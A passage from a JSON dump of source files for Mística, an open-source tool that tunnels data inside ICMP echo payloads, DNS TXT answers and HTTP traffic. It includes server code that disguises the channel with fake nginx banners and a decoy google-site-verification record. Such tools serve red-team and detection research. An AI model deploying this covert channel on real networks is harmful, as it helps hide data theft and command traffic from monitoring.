    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sotp.misticathread import ServerWrapper\nfrom base64 import urlsafe_b64encode,urlsafe_b64decode\nfrom wrapper.server.wrap_server.icmpserver import icmpserver\n\nclass icmpwrapper(ServerWrapper):\n    \n    SERVER_CLASS = icmpserver\n    NAME = \"icmp\"\n    CONFIG = {\n                \"prog\": \"icmp\",\n                \"wrapserver\": \"icmpserver\",\n                \"description\": \"Encodes/Decodes data in ICMP echo requests/responses on data section\",\n                \"args\": [\n                    {\n                        \"--max-size\": {\n                            \"help\": \"Max size of the SOTP packet. Default is 1024 bytes\",\n                            \"nargs\": 1,\n                            \"default\": [1024],\n                            \"type\":  int\n                        },\n                        \"--max-retries\": {\n                            \"help\": \"Maximum number of re-synchronization retries.\",\n                            \"nargs\": 1,\n                            \"default\": [5],\n                            \"type\":  int\n                        }\n                    }\n                ]\n            }\n\n    def __init__(self, id, qsotp, args, logger):\n        ServerWrapper.__init__(self, id, icmpwrapper.NAME, qsotp, icmpwrapper.SERVER_CLASS.NAME, args, logger)\n        # Base args\n        self.max_size = None\n        self.max_retries = None\n        # Parsing args\n        self.argparser = self.generateArgParser()\n        self.parseArguments(args)\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    def parseArguments(self, args):\n        parsed = self.argparser.parse_args(args.split())\n        self.max_size = parsed.max_size[0]\n        self.max_retries = parsed.max_retries[0]\n\n    def unpackSotp(self, data):\n        try:\n            # We use base64_urlsafe_encode, change if you encode different.\n            return urlsafe_b64decode(data)\n        except Exception as e:\n            self.logger.exception(f\"[{self.name}] Exception at unpackSotp: {e}\")\n            return\n\n    def unwrap(self, content):\n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] unwrap data: {content}\")\n        return self.unpackSotp(content)\n\n    def wrap(self, content):\n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] wrap data: {content}\")\n        urlSafeEncodedBytes = urlsafe_b64encode(content)\n        return urlSafeEncodedBytes\n"
  },
  {
    "path": "wrapper/server/wrap_server/__init__.py",
    "content": "__all__ = [\"httpserver\", \"dnsserver\", \"icmpserver\"]"
  },
  {
    "path": "wrapper/server/wrap_server/dnsserver.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom threading import Thread\nfrom queue import Queue,Empty\nfrom utils.messaging import Message, MessageType, SignalType\nfrom dnslib import DNSRecord, DNSHeader, QTYPE, CLASS, RR, TXT\nfrom argparse import ArgumentParser\nfrom utils.prompt import Prompt\nfrom socketserver import ThreadingUDPServer\nfrom socketserver import BaseRequestHandler\n\n\nclass CustomBaseRequestHandler(BaseRequestHandler):\n     \n    def genDefaultError(self, request):\n        reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n        reply.add_answer(RR(rname=request.q.qname, \n                rtype=QTYPE.TXT, \n                rclass=CLASS.IN, \n                ttl=self.server.ttl, \n                rdata=TXT(\"google-site-verification=qt5d8b2252742f0bcab14623d9714bee9ba7e82da3\")))\n        return reply\n\n    def waitForResponse(self,q, request):\n        response = None\n        try:\n            r = q.get(True,self.server.timeout)\n            response = r.content\n        except (Empty,Exception):\n            response = self.genDefaultError(request)\n            self.server._LOGGING_ and self.server.logger.error(f\"[{self.server.sname}] expired timeout in waitForResponse()\")\n        finally:\n            return response\n\n    def doMulticast(self,q,data):\n        for wrap in self.server.wrappers:\n            msg = Message(self.server.sname, self.server.sid, wrap.name, wrap.id,\n                MessageType.STREAM, data, q)\n            wrap.inbox.put(msg)\n\n    def returnResponse(self,reply):\n        self.send_data(reply.pack())\n\n    def processRequest(self,request):\n        q = Queue()\n        self.doMulticast(q,request)\n        response = self.waitForResponse(q,request)\n        self.returnResponse(response)\n\n    def get_data(self):\n        raise NotImplementedError\n\n    def send_data(self, data):\n        raise NotImplementedError\n\n    def handle(self):\n        try:\n            data = self.get_data()\n            request = DNSRecord.parse(data)\n            self.processRequest(request)\n        except Exception as e:\n            self.server._LOGGING_ and self.server.logger.exception(f\"[{self.server.sname}] Exception on handle: {e}\")\n\n\nclass UDPRequestHandler(CustomBaseRequestHandler):\n    \n    def get_data(self):\n        return self.request[0]\n\n    def send_data(self, data):\n        return self.request[1].sendto(data, self.client_address)\n\n\nclass WrapDNSServer(ThreadingUDPServer):\n    def __init__(self, server_address, RequestHandlerClass, wrappers, sname, sid, ttl, timeout, logger):\n        ThreadingUDPServer.__init__(self, server_address, RequestHandlerClass)\n        self.wrappers = wrappers\n        self.sname = sname\n        self.sid = sid\n        self.ttl = ttl\n        self.timeout = timeout\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n\nclass dnsserver(Thread):\n\n    NAME = \"dnsserver\"\n    CONFIG = {\n        \"prog\": NAME,\n        \"description\": \"Simple DNS server\",\n        \"args\": [\n            {\n                \"--hostname\": {\n                    \"help\": \"Hostname or IP address. Default is localhost\",\n                    \"nargs\": 1,\n                    \"default\": [\"localhost\"],\n                    \"type\": str\n                },\n                \"--port\": {\n                    \"help\": \"Port where the server will listen. Default is 5355\",\n                    \"nargs\": 1,\n                    \"default\": [5355],\n                    \"type\" :  int\n                },\n                \"--ttl\": {\n                    \"help\": \"TTL of DNS Responses\",\n                    \"nargs\": 1,\n                    \"default\": [300],\n                    \"type\" :  int\n                },\n                \"--timeout\": {\n                    \"help\": \"Max time in seconds that the server will wait for the SOTP layer to reply, before returning an error. Default is 3\",\n                    \"nargs\": 1,\n                    \"default\": [3],\n                    \"type\" :  int\n                }\n            }\n        ]\n    }\n\n    def __init__(self, id, args, logger):\n        Thread.__init__(self)\n        self.wrappers = []\n        self.id = id\n        self.server = None\n        self.name = type(self).__name__\n        self.inbox = Queue()\n        # Argparsing\n        self.argparser = self.generateArgParser()\n        self.parseArguments(args)\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    def parseArguments(self, args):\n        parsed = self.argparser.parse_args(args.split())\n        self.hostname = parsed.hostname[0]\n        self.port = parsed.port[0]\n        self.ttl = parsed.ttl[0]\n        self.timeout = parsed.timeout[0]\n    \n    def generateArgParser(self):\n        config = self.CONFIG\n\n        parser = ArgumentParser(prog=config[\"prog\"],description=config[\"description\"])\n        for arg in config[\"args\"]:\n            for name,field in arg.items():\n                opts = {}\n                for key,value in field.items():\n                    opts[key] = value\n                parser.add_argument(name, **opts)\n        return parser\n\n    def SignalThread(self):\n        while True:\n            msg = self.inbox.get()\n            if msg.isTerminateMessage():\n                self.server.shutdown()\n                break\n\n    def addWrapModule(self, encWrapper):\n        self.wrappers.append(encWrapper)\n\n    def removeWrapModule(self, encWrapper):\n        self.wrappers.remove(encWrapper)\n\n    def run(self):\n        self._LOGGING_ and self.logger.info(f\"[{self.name}] Server started. Passing messages...\")\n        self.server = WrapDNSServer(\n            (self.hostname, self.port), \n            UDPRequestHandler,\n            self.wrappers,\n            self.name,\n            self.id, \n            self.ttl,\n            self.timeout, \n            self.logger)\n        st = Thread(target=self.SignalThread)\n        st.start()\n        self.server.serve_forever()\n        self.server.server_close()\n"
  },
  {
    "path": "wrapper/server/wrap_server/httpserver.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística\n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom threading import Thread\nfrom queue import Queue, Empty\nfrom utils.messaging import Message, MessageType, SignalType\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\nfrom argparse import ArgumentParser\nfrom utils.prompt import Prompt\nfrom cgi import FieldStorage\nfrom ssl import wrap_socket\n\n\nclass WrapHTTPServer(ThreadingHTTPServer):\n    def __init__(self, server_address, RequestHandlerClass, wrappers, sname, sid, timeout, error_file, error_code, logger):\n        ThreadingHTTPServer.__init__(self, server_address, RequestHandlerClass)\n        self.wrappers = wrappers\n        self.sname = sname\n        self.sid = sid\n        self.timeout = timeout\n        self.error_file = error_file\n        self.error_code = error_code\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n\nclass httpserverHandler(BaseHTTPRequestHandler):\n\n    # Overide log function to disable verbose outputs.\n    def log_message(self, format, *args):\n        return\n\n    def getDefaultErrorView(self):\n        content = '<html><head><title>408 Request Timeout</title></head><body bgcolor=\"white\"><center><h1>408 Request Timeout</h1></center><hr><center>nginx/1.5.10</center></body></html>'\n        return self.packRequest(\"\", {\"Server\": \"nginx 1.5.10\"}, content, 408)\n\n    def readErrorFile(self):\n        try:\n            with open(self.server.error_file, \"r\") as errfile:\n                content = errfile.read()\n            return self.packRequest(\"\", {\"Server\": \"nginx 1.13.1\"}, content, self.server.error_code)\n        except Exception:\n            return self.getDefaultErrorView()\n\n    def generateErrorView(self):\n        if self.server.error_file and self.server.error_code:\n            return self.readErrorFile()\n        else:\n            return self.getDefaultErrorView()\n\n    # Send the request message to all wrappers (just the right wrapper will process and make an answer).\n    def doMulticast(self, q, data):\n        for wrap in self.server.wrappers:\n            msg = Message(self.server.sname, self.server.sid, wrap.name, wrap.id,\n                          MessageType.STREAM, data, q)\n            wrap.inbox.put(msg)\n\n    def waitForResponse(self, q):\n        response = None\n        try:\n            r = q.get(True, self.server.timeout)\n            response = r.content\n        except (Empty, Exception):\n            response = self.generateErrorView()\n        finally:\n            return response\n\n    def packRequest(self, requestline, headers, content=None, httpcode=200):\n        return {\n            \"requestline\": requestline,\n            \"headers\": headers,\n            \"content\": content,\n            \"httpcode\": httpcode\n        }\n\n    def returnResponse(self, res):\n        self.protocol_version = \"HTTP/1.1\"\n\n        if 'Server' in res['headers']:\n            # Server header must be 'werbserver+space+version'\n            versions = res['headers']['Server'].split(' ')\n            self.server_version = versions[0]\n            self.sys_version = versions[1]\n            del res['headers']['Server']\n        else:\n            self.server_version = \"nginx\"\n            self.sys_version = \"1.5.10\"\n\n        self.send_response(res['httpcode'])\n\n        for key, value in res['headers'].items():\n            self.send_header(key, value)\n\n        if res['content'] == \"\":\n            self.end_headers()\n        elif 'Content-Length' not in res['headers']:\n            self.send_header(\"Content-Length\", len(res['content']))\n            self.end_headers()\n            self.wfile.write(bytes(res['content'], \"utf8\"))\n        else:\n            self.end_headers()\n            self.wfile.write(bytes(res['content'], \"utf8\"))\n\n    # Generate a Queue (for recieve responses *thread), send request to wrappers,\n    # and wait for response from only one and return to HTTP Client.\n    def processRequest(self, request):\n        try:\n            q = Queue()\n            self.doMulticast(q, request)\n            response = self.waitForResponse(q)\n            self.returnResponse(response)\n        except Exception as e:\n            self.server.logger.exception(\n                f\"[{self.server.sname}] Exception in handle: {e}\")\n\n    def do_GET(self):\n        req = self.packRequest(self.requestline, self.headers)\n        self.processRequest(req)\n\n    def do_POST(self):\n        form = FieldStorage(\n            fp=self.rfile,\n            headers=self.headers,\n            environ={'REQUEST_METHOD': 'POST',\n                     'CONTENT_TYPE': self.headers['Content-Type'],\n                     })\n        req = self.packRequest(self.requestline, self.headers, form)\n        self.processRequest(req)\n\n\nclass httpserver(Thread, BaseHTTPRequestHandler):\n\n    NAME = \"httpserver\"\n    CONFIG = {\n        \"prog\": NAME,\n        \"description\": \"Simple HTTP Server\",\n        \"args\": [\n            {\n                \"--hostname\": {\n                    \"help\": \"Hostname or IP address. Default is localhost\",\n                    \"nargs\": 1,\n                    \"default\": [\"localhost\"],\n                    \"type\": str\n                },\n                \"--port\": {\n                    \"help\": \"Port where the server will listen. Default is 8080\",\n                    \"nargs\": 1,\n                    \"default\": [8080],\n                    \"type\":  int\n                },\n                \"--timeout\": {\n                    \"help\": \"Max time, in seconds, that the server will wait for the SOTP layer to reply, before returning an error. Default is 5\",\n                    \"nargs\": 1,\n                    \"default\": [5],\n                    \"type\":  int\n                },\n                \"--error-file\": {\n                    \"help\": \"HTML File for custom error page when timeout expires.\",\n                    \"nargs\": 1,\n                    \"type\": str\n                },\n                \"--error-code\": {\n                    \"help\": \"HTTP Code for custom http code when timeout expires.\",\n                    \"nargs\": 1,\n                    \"type\": int\n                },\n                \"--ssl\": {\n                    \"help\": \"Flag to indicate that SSL will be used\",\n                    \"action\": \"store_true\"\n                },\n                \"--ssl-cert\": {\n                    \"help\": \"Path of the ssl certificate file. You can generate one with the following command: 'openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes'\",\n                    \"nargs\": 1,\n                    \"type\": str\n                }\n            }\n        ]\n    }\n\n    def __init__(self, id, args, logger):\n        Thread.__init__(self)\n        self.wrappers = []\n        self.id = id\n        self.server = None\n        self.name = type(self).__name__\n        self.inbox = Queue()\n        # Argparsing\n        self.argparser = self.generateArgParser()\n        self.parseArguments(args)\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n        \n    def generateArgParser(self):\n        config = self.CONFIG\n\n        parser = ArgumentParser(prog=config[\"prog\"],description=config[\"description\"])\n        for arg in config[\"args\"]:\n            for name,field in arg.items():\n                opts = {}\n                for key,value in field.items():\n                    opts[key] = value\n                parser.add_argument(name, **opts)\n        return parser\n\n    def parseArguments(self, args):\n        parsed = self.argparser.parse_args(args.split())\n        self.hostname = parsed.hostname[0]\n        self.port = parsed.port[0]\n        self.timeout = parsed.timeout[0]\n        self.error_file = parsed.error_file[0] if parsed.error_file else None\n        self.error_code = parsed.error_code[0] if parsed.error_code else None\n        self.ssl = parsed.ssl\n        self.ssl_cert = parsed.ssl_cert[0] if parsed.ssl_cert else None\n\n    def SignalThread(self):\n        while True:\n            msg = self.inbox.get()\n            if msg.isTerminateMessage():\n                self.server.shutdown()\n                break\n\n    def addWrapModule(self, encWrapper):\n        self.wrappers.append(encWrapper)\n\n    def removeWrapModule(self, encWrapper):\n        self.wrappers.remove(encWrapper)\n\n    def run(self):\n        self._LOGGING_ and self.logger.info(f\"[{self.name}] Server started. Passing messages...\")\n        self.server = WrapHTTPServer((self.hostname, self.port),\n                httpserverHandler,self.wrappers,self.name,\n                self.id, self.timeout, self.error_file, \n                self.error_code, self.logger)\n        \n        # Checking if SSL should be used\n        if self.ssl and self.ssl_cert:\n            self.server.socket = wrap_socket(self.server.socket,certfile=self.ssl_cert, server_side=True)\n        \n        st = Thread(target=self.SignalThread)\n        st.start()\n        self.server.serve_forever()\n        self.server.server_close()"
  },
  {
    "path": "wrapper/server/wrap_server/icmpserver.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom threading import Thread\nfrom queue import Queue,Empty\nfrom utils.messaging import Message, MessageType, SignalType\nfrom argparse import ArgumentParser\nfrom json import load\nfrom utils.prompt import Prompt\n\nimport socket, select\nfrom utils.icmp import Packet\n\nclass icmpserver(Thread):\n    \n    NAME = \"icmpserver\"\n    CONFIG = {\n                \"prog\": \"icmpserver\",\n                \"description\": \"Simple ICMP Server\",\n                \"args\": [\n                    {\n                        \"--iface\": {\n                            \"help\": \"Network interface to bind (Ex: eth0, wlp2s0, etc)\",\n                            \"nargs\": 1,\n                            \"type\": str,\n                            \"required\": 1\n                        },\n                        \"--timeout\": {\n                            \"help\": \"Max time, in seconds, that the server will wait for the SOTP layer to reply, before returning an error. Default is 5\",\n                            \"nargs\": 1,\n                            \"default\": [5],\n                            \"type\" :  int\n                        },\n                        \"--request-timeout\": {\n                            \"help\": \"Max time, in seconds, that the server will wait blocked on raw socket\",\n                            \"nargs\": 1,\n                            \"default\": [3],\n                            \"type\" :  int\n                        }\n                    }\n                ]\n            }\n\n    def __init__(self, id, args, logger):\n        Thread.__init__(self)\n        self.wrappers = []\n        self.id = id\n        self.server = None\n        self.name = type(self).__name__\n        self.inbox = Queue()\n        self.shutdown = False\n        # Server parameters\n        self.iface = None\n        self.timeout = None\n        self.request_timeout = None\n        # Argparsing\n        self.argparser = self.generateArgParser()\n        self.parseArguments(args)\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n        # Open Raw Socket and binding to a Network Interface\n        self.mysocket = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP)\n        self.mysocket.setsockopt(socket.SOL_SOCKET,25,str(self.iface+'\\0').encode('utf-8'))\n\n    def parseArguments(self, args):\n        parsed = self.argparser.parse_args(args.split())\n        self.iface = parsed.iface[0]\n        self.timeout = parsed.timeout[0]\n        self.request_timeout = parsed.request_timeout[0]\n\n    def generateArgParser(self):\n        config = self.CONFIG\n\n        parser = ArgumentParser(prog=config[\"prog\"],description=config[\"description\"])\n        for arg in config[\"args\"]:\n            for name,field in arg.items():\n                opts = {}\n                for key,value in field.items():\n                    opts[key] = value\n                parser.add_argument(name, **opts)\n        return parser\n\n    def SignalThread(self):\n        while True:\n            msg = self.inbox.get()\n            if msg.isTerminateMessage():\n                self.shutdown = True\n                break\n\n    def addWrapModule(self, encWrapper):\n        self.wrappers.append(encWrapper)\n\n    def removeWrapModule(self, encWrapper):\n        self.wrappers.remove(encWrapper)\n\n    def doMulticast(self,q,data):\n        for wrap in self.wrappers:\n            msg = Message(self.name, self.id, wrap.name, wrap.id,\n                MessageType.STREAM, data, q)\n            wrap.inbox.put(msg)\n\n    def waitForResponse(self, q, request):\n        response = None\n        try:\n            r = q.get(True,self.timeout)\n            response = r.content\n        except (Empty,Exception):\n            response = request.data\n            self._LOGGING_ and self.logger.error(f\"[{self.name}] queue timeout expired answering: {response}\")\n        finally:\n            return response\n\n    def returnResponse(self, request, data, addr):\n        response = Packet()\n        response.pack_response(request, data)\n        raw_response = response.toBytes()\n        self.mysocket.sendto(raw_response, (addr[0], 1))\n        self.mysocket.setblocking(0)\n\n    def processRequest(self, raw_data, addr):\n        try:\n            request = Packet()\n            request.unpack(raw_data)\n            q = Queue()\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] icmp request data: {request.data}\")\n\n            self.doMulticast(q,request.data)\n            response = self.waitForResponse(q, request)\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] icmp response data: {response}\")\n\n            if not response:\n                return\n            \n            self.returnResponse(request,response,addr)\n        except Exception as e:\n            self._LOGGING_ and self.logger.exception(f\"[{self.name}] exception in processRequest: {e}\")\n            return\n\n    def run(self):\n        self._LOGGING_ and self.logger.info(f\"[{self.name}] Server started. Passing messages...\")\n        st = Thread(target=self.SignalThread)\n        st.start()\n\n        while not self.shutdown:\n            ready = select.select([self.mysocket], [], [], self.request_timeout)\n            if ready[0]:\n                rec_packet, addr = self.mysocket.recvfrom(65535)\n                self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] recv raw data: {rec_packet}\")\n            \n                # Handle every request in separate thread\n                it = Thread(target=self.processRequest, args=(rec_packet,addr,))\n                it.start()\n        \n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] Terminated\")\n\n"
  }
]